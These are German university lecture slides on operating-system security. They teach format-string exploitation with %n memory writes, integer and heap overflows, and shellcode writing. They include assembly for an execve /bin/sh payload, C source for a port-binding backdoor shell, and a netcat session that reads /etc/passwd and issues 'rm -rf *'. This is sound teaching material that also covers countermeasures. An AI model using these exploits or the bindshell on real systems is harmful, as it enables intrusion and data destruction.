Gezieltes Auslesen einer Adresse deadbeef.c Abbildung: Zustand des Stacks nach Eintritt in printf() 76 / 109 #include <stdio.h> int main(void) { printf ("\xef\xbe\xad\xde_%08x.%08x.%08x.%08x %s ") ; return 0; } (im Datensegment) "\xef\xbe\xad\xde_%08x.%08x.%08x.%08x %s " SP += 4 Argument des printf() Rufs fmt string <RET> sfp local vars FP SP Zeichenkette ab Adresse 0xdeadbeef wird mittels %s ausgegeben. Low

77 / 109 Gezieltes Auslesen %08x-Platzhalter bewegen SP so weit, bis fmt-string (1. Argument des printf()-rufes) TOS ist %s-platzhalter gibt Zeichenkette aus, die durch TOS referenziert wird Dump (im Beispiel) des Speicherinhalts ab Adresse 0xdeadbeef beliebige Adressen als Zeichenketten-Dump auslesbar Beendigung bei Lesen eines \0 -Bytes

Auslesen mittels fmt_vuln 78 / 109 $./fmt_vuln printf "\x89\xfd\xff\xbf" %x%x%x%x:%s: The right way: ýÿ %x%x%x%x:%s: The wrong way: ýÿ bffff3f4b7ff3de7b80016a4bffff810:path=/usr/local/bin: /usr/bin:/bin:/usr/bin/x11:/usr/games:~/bin:/opt/uclinux /bfin-elf/bin/:/opt/uclinux/bfin-uclinux/bin:/opt/uclinu x/bfin-linux-uclibc/bin:

Beschreiben beliebiger Adressen 79 / 109 Idee: gleiche Technik wie beim Auslesen, jedoch Beschreiben mittels %n -Platzhalter: $./fmt_vuln printf "\x94\x97\x04\x08" %x.%x.%x.%x%n The right way: x.%x.%x.%x%n The wrong way: bffff3e4.b7ff3de7.b80016a4.bffff800 [*] test_val @ 0x08049794 = 39 0x00000027 Problem: geschriebener Wert hängt von Anzahl ausgegebener Zeichen ab Idee: Beeinflussung mittels Feldbreite-Option

Schreiben beliebiger Werte fmtstring-ex2.c #include <stdio.h> int main(void) { unsigned char canary[5]; unsigned char foo[4]; memset(foo, \x00, sizeof(foo)); /* 0 before */ strcpy(canary, "AAAA"); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); /* 1 */ printf("%16u%n", 7350, (int*) &foo[0]); /* 2 */ printf("%32u%n", 7350, (int*) &foo[1]); /* 3 */ printf("%64u%n", 7350, (int*) &foo[2]); /* 4 */ printf("%128u%n", 7350, (int*) &foo[3]); /* 5 after */ printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); 80 / 109

Ablauf der Schreibzugriffe beim Schreiben beliebiger Werte 81 / 109 foo canary [0] [1] [2] [3] [0] [1] [2] [3] [4] /* 0 */ 0x00 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 /* 1 */ 0x10 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 /* 2 */ 0x10 0x20 0x00 0x00 0x00 0x41 0x41 0x41 0x00 /* 3 */ 0x10 0x20 0x40 0x00 0x00 0x00 0x41 0x41 0x00 /* 4 */ 0x10 0x20 0x40 0x80 0x00 0x00 0x00 0x41 0x00

82 / 109 Anmerkungen 1 Byte pro printf()-aufruf geschrieben unmittelbar davor befindliche 3 Bytes werden mit dieser Technik überschrieben (hier: Variable canary) Voraussetzung: unausgerichteter Schreibzugriff möglich in ein- und demselben Formatstring können offenbar nur aufsteigende Werte geschrieben werden (warum?)

Schreiben beliebiger Werte in einem Formatstring fmtstring-ex3.c 83 / 109 #include <stdio.h> int main(void) { unsigned char canary[5]; unsigned char foo[4]; memset(foo, \x00, sizeof(foo)); /* 0 before */ strcpy(canary, "AAAA"); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); /* 1-4 in one string */ printf("%16u%n%16u%n%32u%n%64u%n", 1, (int*) &foo[0], 1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) &foo[3]); /* 5 after */ printf("\nfoo: %02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); return 0; }

84 / 109 Schreiben ohne Monotonie Subtraktion bei %n-platzhalter unmöglich Wert wrappt jedoch um (Byte) für das vorige Beispiel also printf("%128u%n%192u%n%224u%n%240u%n", 1, (int*) & foo[0], 1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) & foo[3]);, um 0x80402010 in die Variable foo zu schreiben

Schreiben ohne Monotonie, Beispiel 2 85 / 109 $./fmt_vuln printf "\x94\x97\x04\x08junk\x95\x97\x04\x08 JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08" %x%x%x%169x%n%23 9x%n%239x%n%239x%n The right way: JUNJUNJUN%x%x%x%169x%n%239x%n%239x%n%239x%n The wrong way: JUNJUNJUNbffff3b4b7ff3de7b80016a4 [*] test_val @ 0x08049794 = -1430532899 0xaabbccdd

86 / 109 Verwundbares Programm, die zweite fmtstring-ex1.c #include <stdio.h> int main(void) { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); return 0; } durch Nutzung von % -Platzhaltern in user kann outbuf zum Überlauf gebracht werden Beispiel: user = "%200d<nops><shellcode>" buffer = ERR Wrong Command:... %200d<nops><shellcode> klassischer Buffer Overflow möglich

87 / 109 Verwundbares Programm, die zweite fmtstring-ex1.c #include <stdio.h> int main(void) { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); return 0; } durch Nutzung von % -Platzhaltern in user kann outbuf zum Überlauf gebracht werden Beispiel: user = "%200d<nops><shellcode>" buffer = ERR Wrong Command:... %200d<nops><shellcode> klassischer Buffer Overflow möglich

88 / 109 Gegenmaßnahmen gegen Formatstring-Angriff Niemals nutzergenerierte Zeichenketten als Formatstring interpretieren! GCC kennt (neuerdings) verschiedene Schalter, die potentiell gefährliche printf()-aufrufe entdecken: gcc -Wformat -Wformat-security fmt_vuln.c fmt_vuln.c: In function main : fmt_vuln.c:22: warning: format not a string literal and no format arguments fmt_vuln.c:26: warning: format %08x expects type unsigned int, but argument 2 has type int *

89 / 109 Formatstring-Angriffe Zusammenfassung Ziel: printf()-familie Angriffsidee: Manipulation des Formatstring (Anzahl und Art der Platzhalter) Formen des Angriffs: Provokation eines Absturzes (DoS) Ausspähen des Hauptspeichers gezielte Schreibzugriffe mittels %n -Platzhalter Im Gegensatz zum Buffer Overflow kann mittels Formatstring-Attacke eine beliebige Adresse manipuliert werden! Erster publizierter Angriff: http://seclists.org/bugtraq/1999/sep/0328.html

90 / 109 Leseempfehlungen Jon Erickson. Hacking: The Art of Exploitation. 2. Aufl. No Starch Press, 2008 Solar Designer. Getting around non-executable stack (and fix). Mail to BugTraq Mailinglist. Aug. 1997 scut/team teso. Exploiting Format String Vulnerabilities. Sep. 2001 gera and riq. Advances in format string exploitation. In: Phrack 11.59 (Juli 2002). URL: http: //www.phrack.org/issues/59/7.html#article

91 / 109 Heap-Overflow Idee: Manipulation von auf dem Heap angelegten Variablen durch das Überfluten eines unmittelbar davor gelegenen Puffers keine Rückkehradresse implizite Manipulation des Programmflusses unmöglich Reihenfolge der Adressen abhängig von Allokationsreihenfolge Exploit weniger regulär (abhängig vom Typ der manipulierten Information)

92 / 109 Integer-Overflow Idee: Überlauf des Zahlenbereichs von Integervariablen führt zu negativen Zahlen, die in Vergleichsoperationen und als Funktionsargumente unterschiedlich interpretiert werden. kein Schadcode ausführbar Ziel: DoS Literatur: blexim. Basic Integer Overflows. In: Phrack 11.60 (Dez. 2002). URL: http: //www.phrack.org/issues/60/10.html#article

93 / 109 Integer-Overflow Beispiel int copybuffer (char *buffer, int len) { char mybuffer[800]; if (len > sizeof(mybuffer)) { return -1; } return memcpy(mybuffer, buffer, len); } Analyse: Typisches Beispiel eines Vorzeichen-Bugs memcpy erwartet unsigned int als 3. Parameter negatives len durch Test nicht erkannt wird als (sehr große) Längenangabe interpretiert Überlauf von mybuffer

Angriffscode 94 / 109

95 / 109 Shellcode Motivation The best way to develop your skill in detecting and securing against shellcode is to first master the art of writing it. (Foster, S. 56) Literatur: James C. Foster u. a. Buffer Overflow Attacks. Syngress, Feb. 2005, Chapter 3 Chris Anley u. a. The Shellcoder s Handbook. 2. Aufl. Wiley, Aug. 2007 smiler. The Art of Writing Shellcode. o. J. http://www.shell-storm.org/shellcode/

96 / 109 Shellcode Merkmale = Code, der in ein Programm (nachträglich und illegal) eingefügt und ausgeführt wird Angriffscode für verschiedene Attacken in Assembler programmiert (Warum?) sehr klein (Size matters!) effizient sehr system- und architekturspezifisch Einsatz von Systemrufen oder libc-funktionen keine Fehlerprüfung: entweder es geht oder nicht (hier: Beschränkung auf IA32 unter Linux ; die Prinzipien unter Windows differieren teilweise erheblich, vgl. Anley at al)

97 / 109 Systemruf BS bietet dem Programmierer Funktionen, diese werden über Systemrufe zur Verfügung gestellt Gesamtheit aller Systemrufe eines BS ist dessen Application Programmer s Interface (API) Nutzung analog den Funktionen einer Bibliothek mit einem Unterschied: Diensterbringung erfolgt im Kernel Mode gewöhnlicher Funktionsaufruf als Mechanismus unbrauchbar! Systemrufe können blockieren! Beispiele: fork(), read(), mmap(), semget()

98 / 109 Prinzip eines Systemrufs User Mode Kernel Mode Applikation Betriebssystem Systemruf System dienst

99 / 109 Prinzipieller Ablauf beim Systemruf read() count = read(fd, buffer, nbytes); user space 5 return to caller TRAP into kernel put # for read in register library call 10 6 4 11 3 2 adjust stack call read push fd push &buffer 9 user program 1 push nbytes kernel space dispatch syscall 7 8 syscall handler

Ablauf von WriteFile() in Windows 2000/XP/Vista Win32 application Call WriteFile(...) WriteFile() in KERNEL32.DLL Call NtWriteFile() Return to Caller Win32 specific NtWriteFile() in NTDLL.DLL int 0x2e Return to Caller Used by all subsystems User Mode Software Interrupt Kernel Mode SystemService in NTOSKRNL.EXE Call NtWriteFile() Dismiss Interrupt NtWriteFile() in NTOSKRNL.EXE Do the Operation Return to Caller (David Solomon: Inside Windows 2000, Microsoft Press) 100 / 109

101 / 109 Was geschieht bei einem Linux-Systemruf? Architektur: IA32 (aka Intel-PC) Systemrufnummer in EAX Argumente in EBX, ECX, EDX, ESI, EDI, EBP (in dieser Reihenfolge) Systemeintritt durch int 0x80 (Systemdienst wird im Kernelmode ausgeführt) Resultatwert in EAX Systemaustritt mittels iret Systemrufnummern: http://asm.sourceforge.net/syscall.html

Beispiel 102 / 109 robge@hadrian:~$ cat exit.c #include <stdlib.h> int main(void) { exit(0); } robge@hadrian:~$ gcc -static -o exit exit.c robge@hadrian:~$ objdump -d exit... 0804db7c <_exit>: 804db7c: 8b 5c 24 04 mov 0x4(%esp),%ebx 804db80: b8 fc 00 00 00 mov $0xfc,%eax 804db85: cd 80 int $0x80 804db87: b8 01 00 00 00 mov $0x1,%eax 804db8c: cd 80 int $0x80 804db8e: f4 hlt 804db8f: 90 nop...

Hello, world! als Shellcode 103 / 109 _start: code: string:.text.global _start xorl %eax, %eax xorl %ebx, %ebx xorl %edx, %edx jmp string /* push string addr */ pop %ecx /* ecx <-- string addr */ movb $01, %bl /* filedesc, stdout */ movb $15, %dl /* string lgth */ movb $04, %al /* write(stdout, addr, lgth) */ int $0x80 decb %bl movb $01,%al /* exit(0) */ int $0x80 call code.ascii "Hello, world!\x0a\x00"

104 / 109 Beispiel: Aufruf einer Shell Klassiker, tausende Varianten nutzen typischerweise execve in folgender Manier: # i n c l u d e < s t d i o. h> i n t main ( void ) { char cmd = "/bin/sh" ; char args [ 2 ] ; args [ 0 ] = "robixd" ; args [ 1 ] = NULL ; } execve (cmd, args, NULL) ;

Aufruf einer Shell Nachbau in Assembler 105 / 109 _start: doit: callit:.text.global _start jmp callit popl %ebx /*1* ebx <-- &"/bin/sh" */ xorl %eax, %eax /* eax <-- 0 */ cdq /* edx:eax <-- eax */ movb %al, 7(%ebx) /*2* zeroterminate "/bin/sh" */ movl %ebx, 8(%ebx) /*3* args[0] = &"/bin/sh" */ movl %eax, 12(%ebx) /*4* args[1] = NULL */ leal 8(%ebx),%ecx /*5* ecx <-- &args */ movb $0x0b, %al /* execve() */ int $0x80 call doit.ascii "/bin/sh"

Bindung der Shell an einen Port Implementierung in C # i n c l u d e < n e t i n e t / i n. h> i n t soc, c l i ; s t r u c t sockaddr_in serv_addr ; i n t main ( ) { serv_addr. s i n _ f a m i l y =2; serv_ addr. sin_ addr. s_addr =0; serv_addr. s i n _ p o r t =0xAAAA ; } soc=socket ( 2, 1, 0 ) ; bind ( soc, ( s t r u c t sockaddr )&serv_addr,0 x10 ) ; l i s t e n ( soc, 1 ) ; c l i =accept ( soc, 0, 0 ) ; dup2 ( c l i, 0 ) ; dup2 ( c l i, 1 ) ; dup2 ( c l i, 2 ) ; execve ( "/bin/sh", 0, 0) ; 106 / 109

107 / 109 Anwendungsbeispiel für Bindshell robge@idir:~$ nc 192.168.178.21 43690 cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh... rm -rf *... exit dup2() ersetzt die stdin, stdout und stderr mit cli Achtung! Das ist eine Backdoor. Syscall-Folge: socket() bind() listen() accept() dup2() (3x) execve() benötigt < 100 Bytes in Assembler (!)

108 / 109 Weiterführende Aspekte Reverse Connection Shellcode angegriffener Rechner initiiert Verbindung Socket Reusing Erraten des Filedeskriptors eines bereits im angegriffenen Programm eröffneten Sockets und Nutzung desselben Shellcode, der toupper() oder tolower() unbeschadet übersteht Windows-Shellcode Encoding Shellcode Shellcode für mehrere Systeme (z. B. Linux und *BSD)

109 / 109 Was haben wir gelernt? Grundbegriffe der BS-Sicherheit (sichere) Implementierung von Authentifizierungsmechanismen Buffer Overflow und Gegenmaßnahmen: Stackguard, Stackshield, W X, ASLR Return-into-Libc-Exploit Format-String-Attacken Was ist eine Bindshell? Fazit: Das ist erst der Anfang der Thematik!